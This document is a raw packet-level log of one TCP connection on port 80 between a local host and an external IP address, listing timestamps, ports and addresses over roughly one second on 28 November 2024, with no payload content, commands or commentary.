Nov 28, 2024 11:05:06.692297935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.692337990 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.693134069 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.693181992 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.693334103 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.693373919 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.694122076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.694180012 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.694236994 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.694281101 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.695077896 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.695121050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.695178032 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.695219040 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.696055889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.696104050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.696227074 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.696270943 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.697002888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.697053909 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.697091103 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.697134018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.698108912 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.698165894 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.698262930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.698301077 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.699093103 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.699145079 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.699166059 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.699208021 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.699903011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.699949026 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.699985981 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.700031042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.700985909 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.701030016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.701106071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.701157093 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.701838970 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.701886892 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.701944113 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.701987028 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.702807903 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.702852011 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.702889919 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.702929020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.742706060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.742744923 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.742832899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.742876053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.743123055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.743168116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.743232012 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.743273020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.744334936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.744383097 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.744458914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.744503021 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.745126963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.745147943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.745173931 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.745196104 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.745992899 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.746037006 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.746207952 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.746247053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.746949911 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.746995926 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.747071981 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.747112989 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.748037100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.748080969 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.748161077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.748198986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.748902082 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.748970985 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.748984098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.749021053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.749938011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.749988079 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.750011921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.750053883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.750823021 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.750868082 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.750950098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.750993967 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.810483932 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.810503960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.810561895 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.810602903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.810674906 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.810719013 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.810853958 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.810892105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.810966969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.811002016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.811834097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.811876059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.811928988 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.811969995 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.812825918 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.812868118 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.812902927 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.812942982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.813751936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.813795090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.813886881 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.813931942 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.814704895 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.814745903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.814878941 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.814919949 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.815676928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.815721035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.815776110 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.815819025 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.816636086 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.816679001 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.816741943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.816781998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.817590952 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.817658901 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.817696095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.817739010 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.818562984 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.818613052 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.818691015 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.818753004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.819605112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.819649935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.819713116 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.819751024 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.820502043 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.820553064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.820616961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.820658922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.821460962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.821521044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.821588993 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.821638107 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.822433949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.822483063 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.822576046 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.822709084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.823427916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.823487997 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.823529005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.823570967 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.824394941 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.824445009 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.824603081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.824644089 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.825316906 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.825381041 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.825438023 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.825479031 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.826392889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.826423883 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.826453924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.826483011 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.827341080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.827397108 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.827425957 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.827471018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.828243017 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.828325033 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.828360081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.828402996 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.829200983 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.829256058 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.829305887 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.829349995 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.830166101 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.830223083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.830306053 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.830348969 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.831111908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.831165075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.831201077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.831245899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.832056046 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.832108021 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.877206087 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.877300978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.877302885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.877465963 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.877620935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.877665043 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.877738953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.877780914 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.878581047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.878633022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.878648043 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.878689051 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.879544020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.879589081 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.879647970 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.879694939 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.880511045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.880561113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.880649090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.880690098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.881459951 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.881505966 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.881624937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.881670952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.882512093 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.882555008 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.882575035 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.882611036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.883395910 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.883445978 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.883498907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.883543015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.884423018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.884469986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.884545088 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.884591103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.885329008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.885370016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.885443926 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.885488987 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.886271000 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.886313915 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.886318922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.886363983 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.887298107 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.887345076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.887362957 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.887403965 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.888220072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.888267994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.888324976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.888369083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.889256001 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.889301062 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.889352083 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.889401913 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.890377045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.890422106 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.890461922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.890503883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.891356945 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.891374111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.891403913 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.891427994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.892070055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.892115116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.892262936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.892301083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.893012047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.893057108 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.893114090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.893151999 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.894077063 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.894123077 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.894155979 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.894203901 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.894959927 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.895034075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.895066977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.895108938 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.934640884 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.934794903 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.934871912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.934871912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.935098886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.935146093 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.935192108 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.935234070 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.936067104 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.936113119 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.936152935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.936192989 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.937021971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.937063932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.937155008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.937199116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.938118935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.938169003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.938184977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.938221931 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.939070940 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.939091921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.939116001 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.939126968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.939961910 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.940006018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.940057039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.940097094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.940917969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.940963030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.940999031 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.941039085 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.941875935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.941915035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.941924095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.941962957 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.942843914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.942888975 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.942941904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.942981005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.002502918 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.002537966 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.002574921 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.002609968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.002886057 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.002921104 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.002971888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.003005028 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.003598928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.003639936 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.003674984 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.003715038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.004568100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.004607916 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.004672050 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.004714012 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.005563021 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.005601883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.005603075 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.005637884 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.006581068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.006622076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.006660938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.006721973 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.007461071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.007504940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.007550955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.007586956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.008490086 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.008536100 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.008563042 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.008596897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.009380102 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.009430885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.009484053 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.009519100 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.010350943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.010395050 CET	49702	80	192.168.2.7	185.215.113.206
